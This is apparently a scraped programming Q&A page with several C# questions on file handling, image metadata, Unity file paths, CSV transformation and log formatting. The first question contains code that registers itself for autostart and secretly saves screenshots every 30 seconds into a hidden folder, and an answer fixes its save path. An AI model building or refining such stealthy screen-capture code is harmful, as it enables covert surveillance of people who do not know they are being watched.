Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 5 years ago.
Improve this question
My program is supposed to take screenshots every 30 seconds and then store them in a hidden folder, C:\SysApp. I'm new to coding and Visual Studio doesn't say there are any errors so I am very confused. Maybe you can help me please? Thanks!
Here's my code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Reflection;
using System.Windows.Forms;
using System.Net.Mail;
using System.IO;
using System.Drawing;
namespace screenshothoop
{
static class Program
{
static void Main()
{
//-----this code will make your program to automatically execute as computer starts----
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
Assembly curAssembly = Assembly.GetExecutingAssembly();
key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
Console.WriteLine(curAssembly.GetName());
}
catch { }
//------------------
//------------screenshot loop takes screenshots after 30 sec-----------
int n = 0;
while (n == 0)
{
Thread.Sleep(30000);
OnTimedEvent();
}
//-------------------------
}// main body ends !
public static string st = "";
public static string date = "";
public static string month = "";
public static string year = "";
public static string time = "";
public static string hour = "";
public static string min = "";
public static string sec = "";
private static void OnTimedEvent()
{
st = DateTime.Today.Date.ToString();
time = DateTime.Now.TimeOfDay.ToString();
hour = DateTime.Now.Hour.ToString();
min = DateTime.Now.Minute.ToString();
sec = DateTime.Now.Second.ToString();
date = DateTime.Today.Day.ToString();
month = DateTime.Today.Month.ToString();
year = DateTime.Today.Year.ToString();
Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);
Bitmap memoryImage;
memoryImage = new Bitmap(1000, 800);
Size s = new Size(memoryImage.Width, memoryImage.Height);
// Create graphics
Graphics memoryGraphics = Graphics.FromImage(memoryImage);
// Copy data from screen
memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
string str = "";
//------------creating directory--------
if (Directory.Exists("C:\\SysApp"))
{
Console.WriteLine("directory exits");
}
else
{
Directory.CreateDirectory("C:\\SysApp");
File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
Console.WriteLine("new directory created");
}
//---------------------------------------
str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);
//------------
try
{
memoryImage.Save(str);
}
catch (Exception er)
{
Console.WriteLine("Sorry, there was an error: " + er.Message);
}
//---------------------------------------------------------
}
}
}
First you check if C:\SysApp exists, if not, you create it. So far so good. Then you write the image to D:\screenshotn\Etc. which probably does not exists. Or if it does exist, you check the wrong folder for your images. :)
Change this line:
str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);
to
str = string.Format("C:\\SysApp\\screen {0}_{1}.png", date + month + year, hour + min + sec);
Your code could be more clearly summarised as:
memoryImage = new Bitmap(1000, 800);
...
str = string.Format("d:\\screenshotn\\screen {0}_{1}.png", date + month + year, hour + min + sec);
...
memoryImage.Save(str);
If you look online for a resource explaining what Bitmap.Save does, found here, you'll see the first parameter describes where the file is written to disk.
As str is set to "d:\screenshotn\sc...", it therefore is being written to a different drive as the one you previously setup.
Related
I'm trying to make a program that automatically copies and sorts the pictures from an SD card to an external hard drive using Metadata Extractor 2.4.3
I don't seem to find any prolem but every time I run the code, an unhandled exception prompts up.
Here's the error:
Unhandled Exception: MetadataExtractor.ImageProcessingException: File format could not be determined
at MetadataExtractor.ImageMetadataReader.ReadMetadata(Stream stream)
at MetadataExtractor.ImageMetadataReader.ReadMetadata(String filePath)
at file_sorter.File..ctor(String filepath) in
C:\Users\ropra\Documents\file_sorter\file_sorter\File.cs:line 27
at file_sorter.Program.Main(String[] args) in
C:\Users\ropra\Documents\file_sorter\file_sorter\Program.cs:line 27
Here's the code:
Program.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MetadataExtractor;
namespace file_sorter
{
class Program
{
static void Main(string[] args)
{
// Define paths
string sandisk = #"Z:/Images/RAW";
string sd = #"Y:/DCIM/100_FUJI";
// Count elements in sd
string[] photoPaths = System.IO.Directory.GetFiles(sd);
Console.WriteLine("Counting elements in SD card...");
// Create object array
File[] photos = new File[photoPaths.Count()];
for (int i = 0; i < photos.Count(); i++)
{
photos[i] = new File(photoPaths[i]);
}
// Create tree and copy files
foreach (var item in photos)
{
string fileName = item.filename;
string sourcePath = item.sourcepath;
string targetPath = sandisk + "/" + item.year + "/" + item.month + "/" + item.day;
string sourceFile = System.IO.Path.Combine(sourcePath, fileName);
string destFile = System.IO.Path.Combine(targetPath, fileName);
Console.WriteLine("Now copying: {0} into {1}", fileName, targetPath);
System.IO.Directory.CreateDirectory(targetPath);
System.IO.File.Copy(sourceFile, destFile, true);
}
}
}
}
File.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using MetadataExtractor;
namespace file_sorter
{
public class File
{
public string filename;
public string path;
public string year;
public string month;
public string day;
public string sourcepath;
public File(string filepath)
{
path = filepath;
filename = path.Substring(path.LastIndexOf("\\") + 1);
sourcepath = path.Substring(0, path.LastIndexOf("\\"));
string rawDate = "";
var metadata = ImageMetadataReader.ReadMetadata(path);
for (int i = 0; i < metadata.Count(); i++)
{
for (int j = 0; j < metadata[i].TagCount; j++)
{
if (metadata[i].Name == "Exif IFD0" && metadata[i].Tags[j].Name == "Date/Time")
{
rawDate = metadata[i].Tags[j].Description;
}
}
}
int separator = rawDate.IndexOf(":");
year = rawDate.Substring(0, separator);
string sub = rawDate.Substring(separator + 1);
separator = sub.IndexOf(":");
month = sub.Substring(0, separator);
sub = sub.Substring(separator + 1);
separator = sub.IndexOf(" ");
day = sub.Substring(0, separator);
}
public void ShowFormatedDate()
{
Console.WriteLine("Path: {0}", path);
Console.WriteLine("File: {0}", filename);
Console.WriteLine("Dir: {0}", sourcepath);
Console.WriteLine("Year: {0}", year);
Console.WriteLine("Month: {0}", month);
Console.WriteLine("Day: {0}", day);
Console.WriteLine("");
}
}
}
Thank you in advance.
OK, so having given up and sorting all files manually, I came across an .xml file containing the metadata of a single .RAF file, I'm guessing my camera put it there.
This program does not handle MetadataExtractor non-supported files, hence the problem.
ImageProcessingException: File format could not be determined
This exception means that the library didn't identify the file it was given as anything it knows how to read. For example, if you give a text file to the library, you will see this exception.
Perhaps you could catch this exception type and use a different code path for such files.
I have the following piece of code which is creating a text file in Windows build game, but the same is not creating any files in a Mac build game. I do not have a Mac to debug the code, but I can play the game on an external public Mac computer. I tried using Application.dataPath as well, but the file is not getting created anyway in a MacOS
using UnityEngine;
using System;
using System.IO;
/// <summary>
/// This class serves as the single interface for all file writing.
/// The idea is to report all important events so that the game's
/// actions can be coded and compared to viewed reactions from video.
/// </summary>
public static class FileManagement
{
private static bool wasInit = false;
private static string FILENAME;
private static string DUMPNAME;
// Get the date to use as the file name.
public static void init()
{
wasInit = true;
// To ensure files are not overwritten and are easily identifiable, we will name them with the current date and time.
int day = DateTime.Now.Day;
int month = DateTime.Now.Month;
int year = DateTime.Now.Year;
int hour = DateTime.Now.Hour;
int minute = DateTime.Now.Minute;
int second = DateTime.Now.Second;
FILENAME = (GameInfo.gameTitle + "-" + month + "-" + day + "-" + year + "-" + hour + "-" + minute + "-" + second);
// The dump file holds all the emotion measurements for each frame. Put in a separate file to not clog other data.
DUMPNAME = FILENAME + "-ENGAGEMENT-DUMP.txt";
FILENAME += ".txt";
}
// Helper to get timestamp string.
private static string getTime()
{
return "[" + Time.time + "] ";
}
// Helper to open and write to the file. Keeping all the possible errors to one point.
private static void print(string message)
{
if (!wasInit)
{
init();
}
using (StreamWriter file = new StreamWriter(FILENAME, true))
{
// The using command here automatically closes and flushes the file.
file.WriteLine(getTime() + message);
}
}
// Public version to accept any sort of message.
public static void printToFile(string message)
{
print(message);
}
}
This is my folder structure for the mac and pc builds>>
This seems to be an issue with using file write permission in Mac. Writing the files inside the folder goverened by Application.persistentDataPath fixed the issue.
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
I have to read the content of an existing file "operativedata.txt" line by line and write this data into an excelsheet "datawarehouse.csv" line by line. The content of the file "operativedata.txt" looks like following in the picture (operativedata.txt)):
The data in operativedata.txt have to be written transformed in a different way to datawarehouse.csv.
It have to look like this in the csv file:
"date;time;randomvalue\n" \n means after these three lines do a return
This type of format have to be written (all 10 seconds) in the datawarehouse.csv file. It should look like this at the end: datawarehouse.csv
Code for generating datawarehouse.csv:
using System;
using System.IO;
using System.Threading;
namespace etltxt2csv
{
class Program
{
string[]content;//Array for reading each line of the file operativedata.txt
public void loop()
{
content = File.ReadAllLines(#"C:\ETL-Process\operativedata.txt");//File to be Read
while (true)
{
for (int i = 0; i < content.Length; i++)
{
Thread.Sleep(10000);
File.AppendAllText(#"C:\ETL-Process\datawarehouse.csv", content[i] + ";" + "\n");
Console.WriteLine(content[i]);
}
}
}
static void Main(string[] args)
{
Program a= new Program();
a.loop();
}
}
}
operativedata.txt was created with the following code:
using System;
using System.Threading;
using System.IO;
namespace createData
{
class Program
{
string file, date, time;
int randomValue;
public void createFile()
{
file = #"C:\ETL-Process\operativedata.txt";
date = DateTime.Now.ToString("yyMMdd");
time = DateTime.Now.ToString("HHmmss");
Random random = new Random();
while (true)
{
randomValue = random.Next(200);
Thread.Sleep(10000);
File.AppendAllText(file, "\r\n" +date + "\r\n" + time + "\r\n" + randomValue);
}
}
static void Main(string[] args)
{
Program a = new Program();
a.createFile();
}
}
}
What do I have to change in the code of etltxt2csv so that the data can be written transformed in this way:
"date;time;randomvalue\n" (always the first three lines in then the next three lines with a return \n)
into the file datawarehouse.csv ?
When I'm executing the code of etltxt2 I listed here, the Output of my excel file is not transformed like above in the picture (datawarehouse.csv)
You need to read three lines from the .txt file, and combine them into a single line for output:
using (var input = File.OpenText(txt_file_name))
{
using (var output = File.CreateText(csv_file_name))
{
var date = input.ReadLine();
var time = input.ReadLine();
var random = input.ReadLine();
output.WriteLine("{0};{1};{2}", date, time, random);
}
}
var is a keyword that tells the compiler to infer the type. For example, when you write:
var input = File.OpenText(filename);
The compiler knows that File.OpenText returns a StreamReader, so it automatically makes input type StreamReader. Here's the same code as above, with var replaced by the actual types:
using (StreamReader input = File.OpenText(txt_file_name))
{
using (StreamWriter output = File.CreateText(csv_file_name))
{
string date = input.ReadLine();
string time = input.ReadLine();
string random = input.ReadLine();
output.WriteLine("{0};{1};{2}", date, time, random);
}
}
Agreed with Jim Mischel, 3 lines need to be read per line in the output file.
Here's what the loop could look like if you're keeping the same API calls:
(Note: It's better memory use and performance to use Jim Mischel's API calls though...)
for (int i = 0; i + 2 < content.Length; i += 3)
{
// Console.WriteLine(content[i] + ";" + content[i+1] + ";" + content[i+2]);
File.AppendAllText(
#"C:\ETL-Process\datawarehouse.csv",
content[i + 0] + ";"
+ content[i + 1] + ";"
+ content[i + 2] + "\n"
);
}
In my console application, I'm writing to text file with the hour it executes in the following hour format:
DateTime.Now.ToString("t")
However, this format doesn't contain leading zero. After the text file is created I read it and then send an email with the content.
string x = DateTime.Now.ToString("hh");
Logs.writeSummary(DateTime.Now.ToString("t"), "Succeeded",x);
For example, after it generates the text file this is how it will look like:
6:09 AM:Succeeded
7:09 AM:Succeeded
8:09 AM:Succeeded
9:09 AM:Succeeded
10:09 AM:Succeeded
11:09 AM:Succeeded
12:09 PM:Succeeded
1:09 PM:Succeeded
2:09 PM:Succeeded
3:18 PM:Succeeded
4:09 PM:Succeeded
5:09 PM:Succeeded
6:09 PM:Succeeded
What I'm trying to fix is all Succeeded should be aligned.
The first approach I took is to find a way to add a leading zero and it would fix my issue. But it wasn't successful. So I took a different approach.
I pass current hour in the format of hh as a parameter to the function and if the current hour is not 10, 11, 12 then I add a space before the hour.
public static void writeSummary(string dt, string msg, string f)
{
string filePath = #"C:\Logs\summary.txt";
string _dt = dt.ToString();
string _msg = msg;
string _f = f;
using (StreamWriter writer = new StreamWriter(filePath, true))
{
if (_f == "10" || _f == "11" || _f == "12")
{
writer.WriteLine(_dt + ":" + _msg);
}
else
{
writer.WriteLine(" "+ _dt + ":" + _msg);
}
}
}
This fixes the issue in the text file. Everything is aligned, however, when I read it and send an email, I lose the space and end up with unaligned text posted above.
public static void readSummary()
{
try
{
using (StreamReader sr = new StreamReader(#"C:\Logs\summary.txt"))
{
String line = sr.ReadToEnd();
Console.WriteLine(line);
//send email using line
}
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
Any suggestion on how I can fix this?
Thanks.
Instead of DateTime.Now.ToString("t") use a custom format like:
DateTime.Now.ToString("hh:mm tt");
See: Custom Date and Time Format Strings
I have got around 800 files of maximum 55KB-100KB each where the data is in this format
Date,Time,Float1,Float2,Float3,Float4,Integer
Date is in DD/MM/YYYY format and Time is in the format of HH:MM
Here the date ranges from say 1st May to 1June and each day, the Time varies from 09:00 to 15:30.
I want to run a program so that, for each file, it extracts the data pertaining to a particular given date and writes to a file.
I am trying to get around, to form a to do a search and extract operation. I dont know, how to do it, would like to have some idea.
I have written the code below:
static void Main(string[] args)
{
string destpath = Directory.GetCurrentDirectory();
destpath += "\\DIR";
DirectoryInfo Dest = Directory.CreateDirectory(destpath);
DirectoryInfo Source = new DirectoryInfo(Directory.GetCurrentDirectory() + "\\IEOD");
FileInfo[] fiArr = Source.GetFiles("*.csv");
Console.WriteLine("Search Date:");
string srchdate = Console.ReadLine();
String FileNewLine;
String FileNewdt;
FileInfo r;
foreach (FileInfo f in fiArr)
{
r = new FileInfo(destpath + "\\" + f.Name);
r.Create();
StreamWriter Sw = r.AppendText();
StreamReader Sr = new StreamReader(f.FullName);
while (Sr.Peek() >= 0)
{
FileNewLine = Sr.ReadLine();
FileNewdt = FileNewLine.Substring(0,10);
if (String.Compare(FileNewdt, srchdate, true) == 0)
{
//write it to a file;
Console.WriteLine(FileNewLine);
}
}
}
Console.ReadKey();
}
As of now, it should write into the Console. The writing with the help of StreamWriter will be done later, but I am facing a runtime error. It says, " 'C:\Documents and Settings\Soham Das\Desktop\Test\DIR\ABAN.csv' because it is being used by another process."
Here ABAN is a newly created file, by the code. The problem is faced at StreamWriter Sw = r.AppendText()
Help appreciated.
Thanks
Soham
Now that you have edited the question to show that the delimiter is actually a comma instead of a slash (which would have conflicted with the date format) this becomes a lot easier. I've re-posted the answer from last night below.
// This would come from Stream.ReadLine() or something
string line = "02/06/2010,10:05,1.0,2.0,3.0,4.0,5";
string[] parts = line.Split(',');
DateTime date = DateTime.ParseExact(parts[0], "dd/MM/yyyy", null);
TimeSpan time = TimeSpan.Parse(parts[1]);
date = date.Add(time); // adds the time to the date
float float1 = Single.Parse(parts[2]);
float float2 = Single.Parse(parts[3]);
float float3 = Single.Parse(parts[4]);
float float4 = Single.Parse(parts[5]);
int integer = Int32.Parse(parts[6]);
Console.WriteLine("Date: {0:d}", date);
Console.WriteLine("Time: {0:t}", date);
Console.WriteLine("Float1: {0}", float1);
Console.WriteLine("Float2: {0}", float2);
Console.WriteLine("Float3: {0}", float3);
Console.WriteLine("Float4: {0}", float4);
Console.WriteLine("Integer: {0}", integer);
Obviously you can make it more resilient by adding error handling, using TryParse, etc. But this should give you a basic idea of how to manipulate strings in .NET.
So 800 files with around 100KB sums up to 80 KBytes. So why don't built up a little class like
public class Entry
{
public DateTime Date {get; set;}
public float Float1 {get; set;}
public int Integer1 {get; set;}
public Entry(string values)
{
//ToDo: Parse single line into properties
// e.g. use String.Split, RegEx, etc.
}
}
Also you should take care about implementing GetHashCode() and Equals() (there is a good explanation in the book Essential C#). And you should add the interface IComparable to that class which just makes somethine like
public int CompareTo(Entry rhs)
{
return this.Date.CompareTo(rhs.Date);
}
If you got this you can easily do the following:
var allEntries = new SortedList<Entry>();
string currentLine = null;
using (var streamReader = new StreamReader("C:\\MyFile.txt"))
while ((currentLine = streamReader.ReadLine()) != null)
{
try
{
var entry = new Entry(currentLine);
allEntries.Add(entry);
}
catch (Exception ex)
{
//Do whatever you like
//maybe just
continue;
//or
throw;
}
}
So what's missing is to read in all the files (instead of a single one). But this can be done by another loop on Directory.GetFiles() which maybe itself is looped through a Directory.GetDirectories().
After reading all the files into your List you can do whatever LINQ query comes to your mind.